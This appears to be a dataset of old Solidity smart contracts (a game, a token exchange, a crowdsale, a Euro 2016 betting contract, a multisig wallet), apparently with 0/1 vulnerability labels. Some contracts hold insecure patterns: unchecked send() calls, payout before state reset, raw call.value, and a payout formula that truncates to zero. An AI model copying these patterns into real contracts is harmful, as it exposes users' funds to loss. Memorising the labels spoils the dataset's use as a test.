_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,973 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract HtczExchange is Ownable {
using SafeMath for uint256;
event Deposit(address indexed sender, uint eth_amount, uint htcz_amount);
event Exchanged(address indexed receiver, uint indexed htcz_tx, uint htcz_amount, uint eth_amount);
event ReserveChanged(uint indexed htcz_tx, uint old_htcz_amount, uint new_htcz_amount);
event OperatorChanged(address indexed new_operator);
address public htcz_token;
address public htcz_cold_wallet;
address public htcz_exchange_wallet;
address public operator;
uint public htcz_exchanged_amount;
uint public htcz_reserve;
uint public exchange_rate;
uint constant GAS_FOR_TRANSFER = 49483;
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
constructor( address _htcz_token,
address _htcz_cold_wallet,
address _htcz_exchange_wallet,
address _operator,
uint _exchange_rate ) public {
require(_htcz_token != address(0));
require(_htcz_cold_wallet != address(0));
require(_htcz_exchange_wallet != address(0));
require(_operator != address(0));
require(_exchange_rate>0);
htcz_token = _htcz_token;
htcz_cold_wallet = _htcz_cold_wallet;
htcz_exchange_wallet = _htcz_exchange_wallet;
exchange_rate = _exchange_rate;
operator = _operator;
}
function() external payable {
require( msg.value > 0 );
uint eth_amount = msg.value;
uint htcz_amount = eth_amount.mul(exchange_rate);
htcz_exchanged_amount = htcz_exchanged_amount.add(htcz_amount);
require( htcz_reserve >= htcz_exchanged_amount );
emit Deposit(msg.sender, eth_amount, htcz_amount);
}
function change(address _receiver, uint _htcz_tx, uint _htcz_amount) external onlyOperator {
require(_receiver != address(0));
uint gas_value = GAS_FOR_TRANSFER.mul(tx.gasprice);
uint eth_amount = _htcz_amount / exchange_rate;
require(eth_amount > gas_value);
eth_amount = eth_amount.sub(gas_value);
require(htcz_exchanged_amount >= _htcz_amount );
htcz_exchanged_amount = htcz_exchanged_amount.sub(_htcz_amount);
msg.sender.transfer(gas_value);
_receiver.transfer(eth_amount);
emit Exchanged(_receiver, _htcz_tx, _htcz_amount, eth_amount);
}
function increaseReserve(uint _htcz_tx, uint _amount) external onlyOperator {
uint old_htcz_reserve = htcz_reserve;
uint new_htcz_reserve = old_htcz_reserve.add(_amount);
require( new_htcz_reserve > old_htcz_reserve);
htcz_reserve = new_htcz_reserve;
emit ReserveChanged(_htcz_tx, old_htcz_reserve, new_htcz_reserve);
}
function decreaseReserve(uint _htcz_tx, uint _amount) external onlyOperator {
uint old_htcz_reserve = htcz_reserve;
uint new_htcz_reserve = old_htcz_reserve.sub(_amount);
require( new_htcz_reserve < old_htcz_reserve);
require( new_htcz_reserve >= htcz_exchanged_amount );
htcz_reserve = new_htcz_reserve;
emit ReserveChanged(_htcz_tx, old_htcz_reserve, new_htcz_reserve);
}
function changeOperator(address _operator) external onlyOwner {
require(_operator != operator);
operator = _operator;
emit OperatorChanged(_operator);
}
} | 1 | 3,218 |
pragma solidity ^0.4.15;
contract generic_holder {
address owner;
modifier onlyowner {
if (owner == msg.sender)
_;
}
function generic_holder() {
owner = msg.sender;
}
function change_owner(address new_owner) external onlyowner {
owner = new_owner;
}
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bool){
return _to.call.value(_value)(_data);
}
function send(address _to, uint _value) external onlyowner returns (bool){
return _to.send(_value);
}
function get_owner() constant returns (address) {
return owner;
}
} | 1 | 3,070 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier stopNonOwnersInEmergency {
require(!halted || msg.sender == owner);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
require(_multisigWallet != 0);
require(_start != 0 && _end != 0);
require(_start < _end);
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
startsAt = _start;
endsAt = _end;
minimumFundingGoal = _minimumFundingGoal;
}
function() {
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
require(earlyParticipantWhitelist[receiver]);
} else if(getState() == State.Funding) {
} else {
revert();
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
multisigWallet.transfer(weiAmount);
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
require(ecrecover(hash, v, r, s) == signerAddress);
require(customerId != 0);
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
require(!requiredSignedAddress);
require(customerId != 0);
investInternal(addr, customerId);
}
function invest(address addr) public payable {
require(!requireCustomerId);
require(!requiredSignedAddress);
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
require(!finalized);
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
require(addr.isFinalizeAgent());
finalizeAgent = addr;
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
require(now <= time);
require(time > startsAt);
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
require(_pricingStrategy.isPricingStrategy());
pricingStrategy = _pricingStrategy;
}
function setMultisig(address addr) public onlyOwner {
require(investorCount <= MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE);
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
require(msg.value != 0);
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue != 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
msg.sender.transfer(weiValue);
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
require(getState() == state);
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract AllocatedCrowdsale is Crowdsale {
address public beneficiary;
function AllocatedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, address _beneficiary) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
beneficiary = _beneficiary;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
if(tokenAmount > getTokensLeft()) {
return true;
} else {
return false;
}
}
function isCrowdsaleFull() public constant returns (bool) {
return getTokensLeft() == 0;
}
function getTokensLeft() public constant returns (uint) {
return token.allowance(owner, this);
}
function assignTokens(address receiver, uint tokenAmount) private {
require(token.transferFrom(beneficiary, receiver, tokenAmount));
}
} | 0 | 1,602 |
contract euroteambet {
struct team {
string teamName;
mapping(address => uint) bet;
uint totalBet;
}
team[] public euroTeams;
bool winningTeamDefined;
uint winningTeam;
uint startCompetitionTime;
uint public globalBet;
address creator;
uint feeCollected;
function euroteambet() {
team memory toCreate;
toCreate.teamName = '';
euroTeams.push(toCreate);
toCreate.teamName = 'Albania';
euroTeams.push(toCreate);
toCreate.teamName = 'Austria';
euroTeams.push(toCreate);
toCreate.teamName = 'Belgium';
euroTeams.push(toCreate);
toCreate.teamName = 'Croatia';
euroTeams.push(toCreate);
toCreate.teamName = 'Czech Republic';
euroTeams.push(toCreate);
toCreate.teamName = 'England';
euroTeams.push(toCreate);
toCreate.teamName = 'France';
euroTeams.push(toCreate);
toCreate.teamName = 'Germany';
euroTeams.push(toCreate);
toCreate.teamName = 'Hungary';
euroTeams.push(toCreate);
toCreate.teamName = 'Iceland';
euroTeams.push(toCreate);
toCreate.teamName = 'Italy';
euroTeams.push(toCreate);
toCreate.teamName = 'Nothern Ireland';
euroTeams.push(toCreate);
toCreate.teamName = 'Poland';
euroTeams.push(toCreate);
toCreate.teamName = 'Portugal';
euroTeams.push(toCreate);
toCreate.teamName = 'Republic of Ireland';
euroTeams.push(toCreate);
toCreate.teamName = 'Romania';
euroTeams.push(toCreate);
toCreate.teamName = 'Russia';
euroTeams.push(toCreate);
toCreate.teamName = 'Slovakia';
euroTeams.push(toCreate);
toCreate.teamName = 'Spain';
euroTeams.push(toCreate);
toCreate.teamName = 'Sweden';
euroTeams.push(toCreate);
toCreate.teamName = 'Switzerland';
euroTeams.push(toCreate);
toCreate.teamName = 'Turkey';
euroTeams.push(toCreate);
toCreate.teamName = 'Ukraine';
euroTeams.push(toCreate);
toCreate.teamName = 'Wales';
euroTeams.push(toCreate);
creator = msg.sender;
winningTeamDefined = false;
startCompetitionTime = block.timestamp + (60 * 60 * 24) * 4;
}
event BetFromTransaction(address indexed from, uint value);
event CollectFromTransaction(address indexed from, uint value);
event BetClosedNoWinningTeam(address indexed from, uint value);
function () {
if (startCompetitionTime >= block.timestamp) {
if (msg.value >= 100 finney) {
BetFromTransaction(msg.sender, msg.value);
betOnATeam((msg.value % 100 finney) / 1000000000000000);
} else {
msg.sender.send(msg.value);
return;
}
} else if (winningTeamDefined == true) {
CollectFromTransaction(msg.sender, msg.value);
collectEarnings();
} else {
BetClosedNoWinningTeam(msg.sender, msg.value);
if(msg.value > 0){
msg.sender.send(msg.value);
}
return;
}
}
function setWinner(uint teamWinningID) {
if (msg.sender == creator) {
winningTeam = teamWinningID;
winningTeamDefined = true;
} else {
if(msg.value > 0){
msg.sender.send(msg.value);
}
return;
}
}
event BetOnATeam(address indexed from, uint indexed id, uint value);
function betOnATeam(uint id) {
if (startCompetitionTime >= block.timestamp && msg.value >= 100 finney && id >= 1 && id <= 24) {
uint amount = msg.value;
feeCollected += (amount * 3 / 100);
amount -= (amount * 3 / 100);
BetOnATeam(msg.sender, id, amount);
euroTeams[id].bet[msg.sender] += amount;
euroTeams[id].totalBet += amount;
globalBet += amount;
} else {
if(msg.value > 0){
msg.sender.send(msg.value);
}
return;
}
}
function checkEarnings(address toCheck) returns (uint) {
if(msg.value > 0){
msg.sender.send(msg.value);
}
if (winningTeamDefined == true) {
return (globalBet * (euroTeams[winningTeam].bet[toCheck] / euroTeams[winningTeam].totalBet));
} else {
return 0;
}
}
function collectEarnings() {
if(msg.value > 0){
msg.sender.send(msg.value);
}
if (winningTeamDefined == true) {
uint earnings = (globalBet * (euroTeams[winningTeam].bet[msg.sender] / euroTeams[winningTeam].totalBet));
msg.sender.send(earnings);
euroTeams[winningTeam].bet[msg.sender] = 0;
} else {
return;
}
}
function sendEarnings(address toSend) {
if(msg.value > 0){
msg.sender.send(msg.value);
}
if (msg.sender == creator && winningTeamDefined == true) {
uint earnings = (globalBet * (euroTeams[winningTeam].bet[toSend] / euroTeams[winningTeam].totalBet));
toSend.send(earnings);
euroTeams[winningTeam].bet[toSend] = 0;
} else {
return;
}
}
function collectFee() {
msg.sender.send(msg.value);
if (msg.sender == creator) {
creator.send(feeCollected);
feeCollected = 0;
} else {
return;
}
}
} | 0 | 141 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
library ZethrTierLibrary {
uint constant internal magnitude = 2 ** 64;
function getTier(uint divRate) internal pure returns (uint8) {
uint actualDiv = divRate / magnitude;
if (actualDiv >= 30) {
return 6;
} else if (actualDiv >= 25) {
return 5;
} else if (actualDiv >= 20) {
return 4;
} else if (actualDiv >= 15) {
return 3;
} else if (actualDiv >= 10) {
return 2;
} else if (actualDiv >= 5) {
return 1;
} else if (actualDiv >= 2) {
return 0;
} else {
revert();
}
}
function getDivRate(uint _tier)
internal pure
returns (uint8)
{
if (_tier == 0) {
return 2;
} else if (_tier == 1) {
return 5;
} else if (_tier == 2) {
return 10;
} else if (_tier == 3) {
return 15;
} else if (_tier == 4) {
return 20;
} else if (_tier == 5) {
return 25;
} else if (_tier == 6) {
return 33;
} else {
revert();
}
}
}
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ZethrMultiSigWallet is ERC223Receiving {
using SafeMath for uint;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WhiteListAddition(address indexed contractAddress);
event WhiteListRemoval(address indexed contractAddress);
event RequirementChange(uint required);
event BankrollInvest(uint amountReceived);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
bool internal reEntered = false;
uint constant public MAX_OWNER_COUNT = 15;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
struct TKN {
address sender;
uint value;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier isAnOwner() {
address caller = msg.sender;
if (isOwner[caller])
_;
else
revert();
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
constructor (address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function()
public
payable
{
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
validRequirement(owners.length, required)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txToExecute = transactions[transactionId];
txToExecute.executed = true;
if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txToExecute.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
function tokenFallback(address , uint , bytes )
public
returns (bool)
{
return true;
}
}
contract ZethrTokenBankrollInterface is ERC223Receiving {
uint public jackpotBalance;
function getMaxProfit(address) public view returns (uint);
function gameTokenResolution(uint _toWinnerAmount, address _winnerAddress, uint _toJackpotAmount, address _jackpotAddress, uint _originalBetSize) external;
function payJackpotToWinner(address _winnerAddress, uint payoutDivisor) public;
}
contract ZethrBankrollControllerInterface is ERC223Receiving {
address public jackpotAddress;
ZethrTokenBankrollInterface[7] public tokenBankrolls;
ZethrMultiSigWallet public multiSigWallet;
mapping(address => bool) public validGameAddresses;
function gamePayoutResolver(address _resolver, uint _tokenAmount) public;
function isTokenBankroll(address _address) public view returns (bool);
function getTokenBankrollAddressFromTier(uint8 _tier) public view returns (address);
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ERC721Interface {
